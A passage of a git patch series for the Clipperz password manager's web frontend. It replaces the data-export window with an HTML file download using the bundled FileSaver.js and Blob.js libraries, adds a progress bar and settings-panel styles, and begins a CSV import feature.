- this.setWindowBody(aWindow, MochiKit.DOM.toHTML(dom)); - }, - - 'updateWindowPrintable': function (aWindow, exportedJSON) { - var dom = MochiKit.DOM.DIV({'id': 'main'}, - MochiKit.DOM.H1("Clipperz Exported Data"), - MochiKit.DOM.P("You can now print this page and store it in a safe place."), - MochiKit.DOM.UL({'id': 'printableUl'}, - exportedJSON.map(function(card){ - var label = (card.label.indexOf('')>=0) ? card.label.slice(0,card.label.indexOf('')).trim() : card.label; - var notes = (card.data.notes) ? MochiKit.DOM.SPAN({'class': 'notes'}, card.data.notes) : ""; - - return MochiKit.DOM.LI({}, - MochiKit.DOM.SPAN({'class': 'label'}, label), - notes, - MochiKit.DOM.DL({}, - Object.keys(card.currentVersion.fields).map(function(key) { - return [ - MochiKit.DOM.DT(card.currentVersion.fields[key].label), - MochiKit.DOM.DD(card.currentVersion.fields[key].value), - ]; - }) - ) - ); - }) - ) - ); - - this.setWindowTitle(aWindow, "Clipperz Exported Data"); - this.setWindowBody(aWindow, MochiKit.DOM.toHTML(dom)); - }, - - 'updateWindowError': function (aWindow, errorMessage) { - this.setWindowBody(aWindow, - "

Error

"+ - "

The following error occured while exporting your data:

"+ - ""+errorMessage+"" - ); + sortedJSON = MochiKit.Iter.sorted(exportedJSON, function(a,b) { return a.label.toUpperCase().localeCompare(b.label.toUpperCase()); } ); + + blob = new Blob([this.renderToHtml(sortedJSON)], {type: "text/html;charset=utf-8"}); + saveAs(blob, "clipperz_data.html"); }, //============================================================================= - - 'runExportJSON': function (aWindow) { + + 'run': function () { var deferredResult; - var exportedRecords; - - var totalRecords = this.recordsInfo().length; - - exportedRecords = 0; + var self = this; - deferredResult = new Clipperz.Async.Deferred("DirectLoginRunner.exportJSON", {trace:false}); - deferredResult.addMethod(this, 'initialWindowSetup', aWindow); - deferredResult.addCallback(function() { return "Export Data"}); - deferredResult.addMethod(this, 'setWindowTitle', aWindow); - - deferredResult.addMethod( this, function() { return this.recordsInfo(); }); - deferredResult.addCallback( MochiKit.Base.map, function(recordIn) { - var dr = new Clipperz.Async.Deferred("DirectLoginRunner.exportJSON__exportRecord", {trace:false}); - dr.addMethod(recordIn._rowObject, 'export'); - dr.addCallback(MochiKit.Base.method(this, function (exportedRecord) { - var percentage = Math.round(100*exportedRecords/totalRecords); - - aWindow.document.getElementById('nCompleted').innerText = ++exportedRecords; - aWindow.document.getElementById('nTotal').innerText = totalRecords; - aWindow.document.getElementById('completed').style.width = percentage+'%'; - - return exportedRecord; - })); - dr.callback(); - return dr; + deferredResult = new Clipperz.Async.Deferred("ExportController.run", {trace:false}); + deferredResult.addCallback(MochiKit.Base.map, function(recordIn) { + var innerDeferredResult; + + innerDeferredResult = new Clipperz.Async.Deferred("ExportController.run__exportRecord", {trace:false}); + innerDeferredResult.addMethod(recordIn._rowObject, 'export'); + innerDeferredResult.addMethod(self, 'reportRecordExport'); + innerDeferredResult.callback(); + + return innerDeferredResult; }); - deferredResult.addCallback(Clipperz.Async.collectAll); - deferredResult.addMethod( this, function(exportedJSONIn) { -// console.log('return',exportedJSONIn); - - sortedJSON = exportedJSONIn.sort( function(a,b) { return a.label.toUpperCase().localeCompare(b.label.toUpperCase()); } ); - - switch (this.type()) { - case 'json': - this.updateWindowJSON(aWindow,exportedJSONIn); - break; - case 'printable': - this.updateWindowPrintable(aWindow,exportedJSONIn); - break; - default: - this.updateWindowError(aWindow,"ExportController.runExportJSON: invalid value '"+this.type()+"' for parameter 'type'."); - } - }); - - deferredResult.callback(); + deferredResult.addMethod(this, 'saveResult'); + deferredResult.callback(this.recordsInfo()); return deferredResult; }, - - //============================================================================= - - 'run': function () { - var newWindow; - - newWindow = window.open("", this.target()); - - return this.runExportJSON(newWindow); - }, - - //============================================================================= - - 'test': function () { - var iFrame; - var newWindow; - - iFrame = MochiKit.DOM.createDOM('iframe'); - MochiKit.DOM.appendChildNodes(MochiKit.DOM.currentDocument().body, iFrame); - - newWindow = iFrame.contentWindow; - - return this.runDirectLogin(newWindow); - }, //============================================================================= __syntaxFix__: "syntax fix" }); - -//----------------------------------------------------------------------------- - -Clipperz.PM.UI.ExportController.exportJSON = function (recordsInfoIn, typeIn) { - var runner; - - runner = new Clipperz.PM.UI.ExportController({type:typeIn, recordsInfo: recordsInfoIn}); - return runner.run(); -}; diff --git a/frontend/delta/js/Clipperz/PM/UI/MainController.js b/frontend/delta/js/Clipperz/PM/UI/MainController.js index 7b8a5cb..b26adbb 100644 --- a/frontend/delta/js/Clipperz/PM/UI/MainController.js +++ b/frontend/delta/js/Clipperz/PM/UI/MainController.js @@ -63,7 +63,9 @@ Clipperz.PM.UI.MainController = function() { this.registerForNotificationCenterEvents([ 'doLogin', 'registerNewUser', 'showRegistrationForm', 'goBack', 'changePassphrase', 'deleteAccount', - 'export', +// 'export', + 'downloadExport', + 'updateProgress', 'toggleSelectionPanel', 'toggleSettingsPanel', 'matchMediaQuery', 'unmatchMediaQuery', 'selectAllCards', 'selectRecentCards', 'search', 'tagSelected', 'selectUntaggedCards', @@ -106,6 +108,10 @@ MochiKit.Base.update(Clipperz.PM.UI.MainController.prototype, { return this._overlay; }, + updateProgress_handler: function (aProgressPercentage) { + this.overlay().updateProgress(aProgressPercentage); + }, + loginForm: function () { return this._loginForm; }, @@ -1240,8 +1246,24 @@ console.log("THE BROWSER IS OFFLINE"); //---------------------------------------------------------------------------- - export_handler: function(exportType) { - return Clipperz.PM.UI.ExportController.exportJSON( this.recordsInfo(), exportType ); +// export_handler: function(exportType) { +// return Clipperz.PM.UI.ExportController.exportJSON( this.recordsInfo(), exportType ); +// }, + + downloadExport_handler: function () { + var exportController; + var deferredResult; + + exportController = new Clipperz.PM.UI.ExportController({'recordsInfo': this.recordsInfo()}); + + deferredResult = new Clipperz.Async.Deferred("MainController.downloadExport_handler", {trace: false}); + deferredResult.addMethod(this.overlay(), 'show', "exporting …", true, true); +// deferredResult.addCallback(MochiKit.Signal.signal, Clipperz.Signal.NotificationCenter, 'toggleSettingsPanel'); + deferredResult.addMethod(exportController, 'run'); + deferredResult.addMethod(this.overlay(), 'done', "", 1); + deferredResult.callback(); + + return deferredResult; }, //---------------------------------------------------------------------------- diff --git a/frontend/delta/js/FileSaver/Blob.js b/frontend/delta/js/FileSaver/Blob.js new file mode 100644 index 0000000..2e2d360 --- /dev/null +++ b/frontend/delta/js/FileSaver/Blob.js @@ -0,0 +1,234 @@ +/* + +Copyright 2008-2015 Clipperz Srl + +This file is part of Clipperz, the online password manager. +For further information about its features and functionalities please +refer to http://www.clipperz.com. + +* Clipperz is free software: you can redistribute it and/or modify it + under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + +* Clipperz is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + See the GNU Affero General Public License for more details. + +* You should have received a copy of the GNU Affero General Public + License along with Clipperz. If not, see http://www.gnu.org/licenses/. + +*/ + +/* Blob.js + * A Blob implementation. + * 2014-07-24 + * + * By Eli Grey, http://eligrey.com + * By Devin Samarin, https://github.com/dsamarin + * License: X11/MIT + * See https://github.com/eligrey/Blob.js/blob/master/LICENSE.md + */ + +/*global self, unescape */ +/*jslint bitwise: true, regexp: true, confusion: true, es5: true, vars: true, white: true, + plusplus: true */ + +/*! @source http://purl.eligrey.com/github/Blob.js/blob/master/Blob.js */ + +(function (view) { + "use strict"; + + view.URL = view.URL || view.webkitURL; + + if (view.Blob && view.URL) { + try { + new Blob; + return; + } catch (e) {} + } + + // Internally we use a BlobBuilder implementation to base Blob off of + // in order to support older browsers that only have BlobBuilder + var BlobBuilder = view.BlobBuilder || view.WebKitBlobBuilder || view.MozBlobBuilder || (function(view) { + var + get_class = function(object) { + return Object.prototype.toString.call(object).match(/^\[object\s(.*)\]$/)[1]; + } + , FakeBlobBuilder = function BlobBuilder() { + this.data = []; + } + , FakeBlob = function Blob(data, type, encoding) { + this.data = data; + this.size = data.length; + this.type = type; + this.encoding = encoding; + } + , FBB_proto = FakeBlobBuilder.prototype + , FB_proto = FakeBlob.prototype + , FileReaderSync = view.FileReaderSync + , FileException = function(type) { + this.code = this[this.name = type]; + } + , file_ex_codes = ( + "NOT_FOUND_ERR SECURITY_ERR ABORT_ERR NOT_READABLE_ERR ENCODING_ERR " + + "NO_MODIFICATION_ALLOWED_ERR INVALID_STATE_ERR SYNTAX_ERR" + ).split(" ") + , file_ex_code = file_ex_codes.length + , real_URL = view.URL || view.webkitURL || view + , real_create_object_URL = real_URL.createObjectURL + , real_revoke_object_URL = real_URL.revokeObjectURL + , URL = real_URL + , btoa = view.btoa + , atob = view.atob + + , ArrayBuffer = view.ArrayBuffer + , Uint8Array = view.Uint8Array + + , origin = /^[\w-]+:\/*\[?[\w\.:-]+\]?(?::[0-9]+)?/ + ; + FakeBlob.fake = FB_proto.fake = true; + while (file_ex_code--) { + FileException.prototype[file_ex_codes[file_ex_code]] = file_ex_code + 1; + } + // Polyfill URL + if (!real_URL.createObjectURL) { + URL = view.URL = function(uri) { + var + uri_info = document.createElementNS("http://www.w3.org/1999/xhtml", "a") + , uri_origin + ; + uri_info.href = uri; + if (!("origin" in uri_info)) { + if (uri_info.protocol.toLowerCase() === "data:") { + uri_info.origin = null; + } else { + uri_origin = uri.match(origin); + uri_info.origin = uri_origin && uri_origin[1]; + } + } + return uri_info; + }; + } + URL.createObjectURL = function(blob) { + var + type = blob.type + , data_URI_header + ; + if (type === null) { + type = "application/octet-stream"; + } + if (blob instanceof FakeBlob) { + data_URI_header = "data:" + type; + if (blob.encoding === "base64") { + return data_URI_header + ";base64," + blob.data; + } else if (blob.encoding === "URI") { + return data_URI_header + "," + decodeURIComponent(blob.data); + } if (btoa) { + return data_URI_header + ";base64," + btoa(blob.data); + } else { + return data_URI_header + "," + encodeURIComponent(blob.data); + } + } else if (real_create_object_URL) { + return real_create_object_URL.call(real_URL, blob); + } + }; + URL.revokeObjectURL = function(object_URL) { + if (object_URL.substring(0, 5) !== "data:" && real_revoke_object_URL) { + real_revoke_object_URL.call(real_URL, object_URL); + } + }; + FBB_proto.append = function(data/*, endings*/) { + var bb = this.data; + // decode data to a binary string + if (Uint8Array && (data instanceof ArrayBuffer || data instanceof Uint8Array)) { + var + str = "" + , buf = new Uint8Array(data) + , i = 0 + , buf_len = buf.length + ; + for (; i < buf_len; i++) { + str += String.fromCharCode(buf[i]); + } + bb.push(str); + } else if (get_class(data) === "Blob" || get_class(data) === "File") { + if (FileReaderSync) { + var fr = new FileReaderSync; + bb.push(fr.readAsBinaryString(data)); + } else { + // async FileReader won't work as BlobBuilder is sync + throw new FileException("NOT_READABLE_ERR"); + } + } else if (data instanceof FakeBlob) { + if (data.encoding === "base64" && atob) { + bb.push(atob(data.data)); + } else if (data.encoding === "URI") { + bb.push(decodeURIComponent(data.data)); + } else if (data.encoding === "raw") { + bb.push(data.data); + } + } else { + if (typeof data !== "string") { + data += ""; // convert unsupported types to strings + } + // decode UTF-16 to binary string + bb.push(unescape(encodeURIComponent(data))); + } + }; + FBB_proto.getBlob = function(type) { + if (!arguments.length) { + type = null; + } + return new FakeBlob(this.data.join(""), type, "raw"); + }; + FBB_proto.toString = function() { + return "[object BlobBuilder]"; + }; + FB_proto.slice = function(start, end, type) { + var args = arguments.length; + if (args < 3) { + type = null; + } + return new FakeBlob( + this.data.slice(start, args > 1 ? end : this.data.length) + , type + , this.encoding + ); + }; + FB_proto.toString = function() { + return "[object Blob]"; + }; + FB_proto.close = function() { + this.size = 0; + delete this.data; + }; + return FakeBlobBuilder; + }(view)); + + view.Blob = function(blobParts, options) { + var type = options ? (options.type || "") : ""; + var builder = new BlobBuilder(); + if (blobParts) { + for (var i = 0, len = blobParts.length; i < len; i++) { + if (Uint8Array && blobParts[i] instanceof Uint8Array) { + builder.append(blobParts[i].buffer); + } + else { + builder.append(blobParts[i]); + } + } + } + var blob = builder.getBlob(type); + if (!blob.slice && blob.webkitSlice) { + blob.slice = blob.webkitSlice; + } + return blob; + }; + + var getPrototypeOf = Object.getPrototypeOf || function(object) { + return object.__proto__; + }; + view.Blob.prototype = getPrototypeOf(new view.Blob()); +}(typeof self !== "undefined" && self || typeof window !== "undefined" && window || this.content || this)); \ No newline at end of file diff --git a/frontend/delta/js/FileSaver/FileSaver.js b/frontend/delta/js/FileSaver/FileSaver.js new file mode 100644 index 0000000..c43c5f6 --- /dev/null +++ b/frontend/delta/js/FileSaver/FileSaver.js @@ -0,0 +1,271 @@ +/* + +Copyright 2008-2015 Clipperz Srl + +This file is part of Clipperz, the online password manager. +For further information about its features and functionalities please +refer to http://www.clipperz.com. + +* Clipperz is free software: you can redistribute it and/or modify it + under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + +* Clipperz is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + See the GNU Affero General Public License for more details. + +* You should have received a copy of the GNU Affero General Public + License along with Clipperz. If not, see http://www.gnu.org/licenses/. + +*/ + +/* FileSaver.js + * A saveAs() FileSaver implementation. + * 2015-03-04 + * + * By Eli Grey, http://eligrey.com + * License: X11/MIT + * See https://github.com/eligrey/FileSaver.js/blob/master/LICENSE.md + */ + +/*global self */ +/*jslint bitwise: true, indent: 4, laxbreak: true, laxcomma: true, smarttabs: true, plusplus: true */ + +/*! @source http://purl.eligrey.com/github/FileSaver.js/blob/master/FileSaver.js */ + +var saveAs = saveAs + // IE 10+ (native saveAs) + || (typeof navigator !== "undefined" && + navigator.msSaveOrOpenBlob && navigator.msSaveOrOpenBlob.bind(navigator)) + // Everyone else + || (function(view) { + "use strict"; + // IE <10 is explicitly unsupported + if (typeof navigator !== "undefined" && + /MSIE [1-9]\./.test(navigator.userAgent)) { + return; + } + var + doc = view.document + // only get URL when necessary in case Blob.js hasn't overridden it yet + , get_URL = function() { + return view.URL || view.webkitURL || view; + } + , save_link = doc.createElementNS("http://www.w3.org/1999/xhtml", "a") + , can_use_save_link = "download" in save_link + , click = function(node) { + var event = doc.createEvent("MouseEvents"); + event.initMouseEvent( + "click", true, false, view, 0, 0, 0, 0, 0 + , false, false, false, false, 0, null + ); + node.dispatchEvent(event); + } + , webkit_req_fs = view.webkitRequestFileSystem + , req_fs = view.requestFileSystem || webkit_req_fs || view.mozRequestFileSystem + , throw_outside = function(ex) { + (view.setImmediate || view.setTimeout)(function() { + throw ex; + }, 0); + } + , force_saveable_type = "application/octet-stream" + , fs_min_size = 0 + // See https://code.google.com/p/chromium/issues/detail?id=375297#c7 and + // https://github.com/eligrey/FileSaver.js/commit/485930a#commitcomment-8768047 + // for the reasoning behind the timeout and revocation flow + , arbitrary_revoke_timeout = 500 // in ms + , revoke = function(file) { + var revoker = function() { + if (typeof file === "string") { // file is an object URL + get_URL().revokeObjectURL(file); + } else { // file is a File + file.remove(); + } + }; + if (view.chrome) { + revoker(); + } else { + setTimeout(revoker, arbitrary_revoke_timeout); + } + } + , dispatch = function(filesaver, event_types, event) { + event_types = [].concat(event_types); + var i = event_types.length; + while (i--) { + var listener = filesaver["on" + event_types[i]]; + if (typeof listener === "function") { + try { + listener.call(filesaver, event || filesaver); + } catch (ex) { + throw_outside(ex); + } + } + } + } + , FileSaver = function(blob, name) { + // First try a.download, then web filesystem, then object URLs + var + filesaver = this + , type = blob.type + , blob_changed = false + , object_url + , target_view + , dispatch_all = function() { + dispatch(filesaver, "writestart progress write writeend".split(" ")); + } + // on any filesys errors revert to saving with object URLs + , fs_error = function() { + // don't create more object URLs than needed + if (blob_changed || !object_url) { + object_url = get_URL().createObjectURL(blob); + } + if (target_view) { + target_view.location.href = object_url; + } else { + var new_tab = view.open(object_url, "_blank"); + if (new_tab == undefined && typeof safari !== "undefined") { + //Apple do not allow window.open, see http://bit.ly/1kZffRI + view.location.href = object_url + } + } + filesaver.readyState = filesaver.DONE; + dispatch_all(); + revoke(object_url); + } + , abortable = function(func) { + return function() { + if (filesaver.readyState !== filesaver.DONE) { + return func.apply(this, arguments); + } + }; + } + , create_if_not_found = {create: true, exclusive: false} + , slice + ; + filesaver.readyState = filesaver.INIT; + if (!name) { + name = "download"; + } + if (can_use_save_link) { + object_url = get_URL().createObjectURL(blob); + save_link.href = object_url; + save_link.download = name; + click(save_link); + filesaver.readyState = filesaver.DONE; + dispatch_all(); + revoke(object_url); + return; + } + // prepend BOM for UTF-8 XML and text/plain types + if (/^\s*(?:text\/(?:plain|xml)|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(blob.type)) { + blob = new Blob(["\ufeff", blob], {type: blob.type}); + } + // Object and web filesystem URLs have a problem saving in Google Chrome when + // viewed in a tab, so I force save with application/octet-stream + // http://code.google.com/p/chromium/issues/detail?id=91158 + // Update: Google errantly closed 91158, I submitted it again: + // https://code.google.com/p/chromium/issues/detail?id=389642 + if (view.chrome && type && type !== force_saveable_type) { + slice = blob.slice || blob.webkitSlice; + blob = slice.call(blob, 0, blob.size, force_saveable_type); + blob_changed = true; + } + // Since I can't be sure that the guessed media type will trigger a download + // in WebKit, I append .download to the filename. + // https://bugs.webkit.org/show_bug.cgi?id=65440 + if (webkit_req_fs && name !== "download") { + name += ".download"; + } + if (type === force_saveable_type || webkit_req_fs) { + target_view = view; + } + if (!req_fs) { + fs_error(); + return; + } + fs_min_size += blob.size; + req_fs(view.TEMPORARY, fs_min_size, abortable(function(fs) { + fs.root.getDirectory("saved", create_if_not_found, abortable(function(dir) { + var save = function() { + dir.getFile(name, create_if_not_found, abortable(function(file) { + file.createWriter(abortable(function(writer) { + writer.onwriteend = function(event) { + target_view.location.href = file.toURL(); + filesaver.readyState = filesaver.DONE; + dispatch(filesaver, "writeend", event); + revoke(file); + }; + writer.onerror = function() { + var error = writer.error; + if (error.code !== error.ABORT_ERR) { + fs_error(); + } + }; + "writestart progress write abort".split(" ").forEach(function(event) { + writer["on" + event] = filesaver["on" + event]; + }); + writer.write(blob); + filesaver.abort = function() { + writer.abort(); + filesaver.readyState = filesaver.DONE; + }; + filesaver.readyState = filesaver.WRITING; + }), fs_error); + }), fs_error); + }; + dir.getFile(name, {create: false}, abortable(function(file) { + // delete file if it already exists + file.remove(); + save(); + }), abortable(function(ex) { + if (ex.code === ex.NOT_FOUND_ERR) { + save(); + } else { + fs_error(); + } + })); + }), fs_error); + }), fs_error); + } + , FS_proto = FileSaver.prototype + , saveAs = function(blob, name) { + return new FileSaver(blob, name); + } + ; + FS_proto.abort = function() { + var filesaver = this; + filesaver.readyState = filesaver.DONE; + dispatch(filesaver, "abort"); + }; + FS_proto.readyState = FS_proto.INIT = 0; + FS_proto.WRITING = 1; + FS_proto.DONE = 2; + + FS_proto.error = + FS_proto.onwritestart = + FS_proto.onprogress = + FS_proto.onwrite = + FS_proto.onabort = + FS_proto.onerror = + FS_proto.onwriteend = + null; + + return saveAs; +}( + typeof self !== "undefined" && self + || typeof window !== "undefined" && window + || this.content +)); +// `self` is undefined in Firefox for Android content script context +// while `this` is nsIContentFrameMessageManager +// with an attribute `content` that corresponds to the window + +if (typeof module !== "undefined" && module.exports) { + module.exports.saveAs = saveAs; +} else if ((typeof define !== "undefined" && define !== null) && (define.amd != null)) { + define([], function() { + return saveAs; + }); +} \ No newline at end of file diff --git a/frontend/delta/properties/delta.properties.json b/frontend/delta/properties/delta.properties.json index bbfa4a4..b53c099 100644 --- a/frontend/delta/properties/delta.properties.json +++ b/frontend/delta/properties/delta.properties.json @@ -58,6 +58,9 @@ "-- Modernizr/modernizr-2.8.2.js", "OnMediaQuery/onmediaquery-0.2.0.js", + "FileSaver/Blob.js", + "FileSaver/FileSaver.js", + "-- IT WOULD BE NICE TO BE ABLE TO GET RID OF THESE IMPORTS", "Clipperz/YUI/Utils.js", "Clipperz/YUI/DomHelper.js", diff --git a/frontend/delta/scss/core/layout.scss b/frontend/delta/scss/core/layout.scss index ce969d3..271cbf0 100644 --- a/frontend/delta/scss/core/layout.scss +++ b/frontend/delta/scss/core/layout.scss @@ -209,9 +209,8 @@ html { & > div { @include flex(auto); - - overflow: auto; - +// overflow: auto; + @include overflow-scroll(); } footer { @@ -226,6 +225,20 @@ html { height: 100%; // background-color: rgba( 0, 0, 0, 0.95); background-color: black; + + .extraFeature { +// @include flexbox(); + height: 100%; + + h1 { +// @include flex(none); + } + .content { +// @include flex(auto); + height: 100%; + @include overflow-scroll(); + } + } } } diff --git a/frontend/delta/scss/core/overlay.scss b/frontend/delta/scss/core/overlay.scss index 5ba1c05..ce5ea83 100644 --- a/frontend/delta/scss/core/overlay.scss +++ b/frontend/delta/scss/core/overlay.scss @@ -126,6 +126,23 @@ div.overlay { div.bar11 {@include transform(300deg, 0, -142%); @include animation-delay(-0.16670s);} div.bar12 {@include transform(330deg, 0, -142%); @include animation-delay(-0.08330s);} } + + .progressBar { +// display: block; + width: 100%; + background-color: #222; + height: 4px; + margin-top: 86px; + @include border-radius(2px); + + .progress { + background-color: #999; +// width: 70%; + height: 4px; + display: block; + @include border-radius(2px); + } + } } //======================================================== diff --git a/frontend/delta/scss/style/settingsPanel.scss b/frontend/delta/scss/style/settingsPanel.scss index a5126e9..8a8ce7a 100644 --- a/frontend/delta/scss/style/settingsPanel.scss +++ b/frontend/delta/scss/style/settingsPanel.scss @@ -86,6 +86,10 @@ refer to http://www.clipperz.com. & > div { padding: 4px; } + + &.offlineCopy { + cursor: default; + } } &.open { @@ -178,6 +182,118 @@ refer to http://www.clipperz.com. font-size: 20pt; padding-bottom: 20px; } + + form { + + label { + display: none; + } + + input { + $border-size: 0px; // 2px; + + display: block; + font-size: 18pt; + margin-bottom: 8px; + padding: (6px - $border-size) (10px - $border-size); + border: $border-size solid white; + width: 350px; + color: black; + + &.invalid { + border: $border-size solid $clipperz-orange; + color: gray; + } + } + + p { + @include flexbox; + @include flex-direction(row); + + input { + width: 30px; + @include flex(auto); + } + + span { + @include flex(auto); + font-size: 12pt; + } + } + + button { + font-family: "clipperz-font"; + + color: white; + font-size: 14pt; + border: 0px; + + margin-top: 20px; + padding: 6px 10px; + + border: 1px solid white; + background-color: $main-color; + @include transition(background-color font-weight, 0.2s, linear); + + &:hover { + }; + + &:disabled { + font-weight: 100; + background-color: #c0c0c0; + cursor: default; + + &:hover { + }; + } + } +// input.valid:focus { +// border: 2px solid $clipperz-blue; +// } + } + + ul { + color: white; + + li { + padding-bottom: 40px; + } + } + + h3 { + font-size: 18pt; + } + + .description { + max-width: 500px; + padding: 10px 0px 20px 0px; + + p { + font-size: 10pt; + margin-bottom: 7px; + line-height: 1.4em; + color:#bbb; + + em { + text-decoration: underline; + } + } + } + + .button { + display: inline; + + color: white; + background-color: $main-color; + + font-size: 14pt; + + border: 1px solid white; + padding: 6px 10px; + + &:after { + }; + } } @@ -211,78 +327,6 @@ refer to http://www.clipperz.com. } */ - form { - - label { - display: none; - } - - input { - $border-size: 0px; // 2px; - - display: block; - font-size: 18pt; - margin-bottom: 8px; - padding: (6px - $border-size) (10px - $border-size); - border: $border-size solid white; - width: 350px; - color: black; - - &.invalid { - border: $border-size solid $clipperz-orange; - color: gray; - } - } - - p { - @include flexbox; - @include flex-direction(row); - - input { - width: 30px; - @include flex(auto); - } - - span { - @include flex(auto); - font-size: 12pt; - } - } - - button { - font-family: "clipperz-font"; -// min-height: 48px; -// min-width: 48px; - - color: white; -// font-size: 24pt; - font-size: 14pt; -// font-weight: 500; - border: 0px; - - margin-top: 20px; - padding: 6px 10px; - - border: 1px solid white; - background-color: $main-color; - @include transition(background-color font-weight, 0.2s, linear); - - &:hover { - }; - - &:disabled { - font-weight: 100; - background-color: #c0c0c0; - cursor: default; - - &:hover { - }; - } - } -// input.valid:focus { -// border: 2px solid $clipperz-blue; -// } - } } } From d1d5fae5de1a1029c78533cb333aafbb2cdf8f2a Mon Sep 17 00:00:00 2001 From: Dario Chiappetta Date: Thu, 14 May 2015 18:55:18 +0200 Subject: [PATCH 3/4] Added Import feature --- frontend/delta/css/clipperz.css | 20 +- frontend/delta/css/clipperz.css.map | 2 +- .../delta/js/Clipperz/PM/DataModel/Record.js | 56 +- .../ExtraFeatures/DataImport/CsvColumns.js | 87 + .../ExtraFeatures/DataImport/CsvHidden.js | 83 + .../ExtraFeatures/DataImport/CsvLabels.js | 115 ++ .../ExtraFeatures/DataImport/CsvNotes.js | 79 + .../ExtraFeatures/DataImport/CsvTitles.js | 76 + .../ExtraFeatures/DataImport/Input.js | 140 ++ .../ExtraFeatures/DataImport/Preview.js | 122 ++ .../DataImport/StepsNavigation.js | 99 ++ .../Components/ExtraFeatures/DeleteAccount.js | 37 - .../PM/UI/Components/ExtraFeatures/Import.js | 409 +++++ .../Components/Panels/ExtraFeaturesPanel.js | 2 +- .../delta/js/Clipperz/PM/UI/MainController.js | 27 +- frontend/delta/js/PapaParse/papaparse.js | 1406 +++++++++++++++++ frontend/delta/js/PapaParse/papaparse.min.js | 29 + .../delta/properties/delta.properties.json | 19 +- frontend/delta/scss/style/settingsPanel.scss | 34 + 19 files changed, 2778 insertions(+), 64 deletions(-) create mode 100644 frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js create mode 100644 frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvHidden.js create mode 100644 frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvLabels.js create mode 100644 frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvNotes.js create mode 100644 frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvTitles.js create mode 100644 frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/Input.js create mode 100644 frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/Preview.js create mode 100644 frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/StepsNavigation.js create mode 100644 frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/Import.js create mode 100644 frontend/delta/js/PapaParse/papaparse.js create mode 100644 frontend/delta/js/PapaParse/papaparse.min.js diff --git a/frontend/delta/css/clipperz.css b/frontend/delta/css/clipperz.css index ddd4ad0..55ca318 100644 --- a/frontend/delta/css/clipperz.css +++ b/frontend/delta/css/clipperz.css @@ -2036,7 +2036,9 @@ span.count { font-weight: bold; } #extraFeaturesPanel .extraFeatureContent { border-right: 1px solid #222; - color: white; } + color: white; + /* IMPORT */ + /* /IMPORT */ } #extraFeaturesPanel .extraFeatureContent header { display: none; } #extraFeaturesPanel .extraFeatureContent .changePassphraseForm label { @@ -2053,6 +2055,22 @@ span.count { margin-bottom: 1em; } #extraFeaturesPanel .extraFeatureContent .deleteAccountForm .confirmCheckbox { display: inline-block; } + #extraFeaturesPanel .extraFeatureContent .importForm textarea { + display: block; + width: 100%; + min-height: 400px; } + #extraFeaturesPanel .extraFeatureContent .jsonPreview { + width: 100%; + height: 80%; + overflow: auto; + margin-top: 1em; } + #extraFeaturesPanel .extraFeatureContent .jsonPreview h3 { + font-weight: bold; } + #extraFeaturesPanel .extraFeatureContent .jsonPreview ul { + margin-bottom: 1em; + padding-left: 1em; } + #extraFeaturesPanel .extraFeatureContent .jsonPreview ul li .label { + font-weight: bold; } #extraFeaturesPanel .extraFeatureContent form input.valid + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.empty + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input:focus + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.invalid:focus + .invalidMsg { visibility: hidden; } #extraFeaturesPanel .extraFeatureContent form input:focus { diff --git a/frontend/delta/css/clipperz.css.map b/frontend/delta/css/clipperz.css.map index 970a1b7..ee2fdbb 100644 --- a/frontend/delta/css/clipperz.css.map +++ b/frontend/delta/css/clipperz.css.map @@ -1,6 +1,6 @@ { "version": 3, -"mappings": 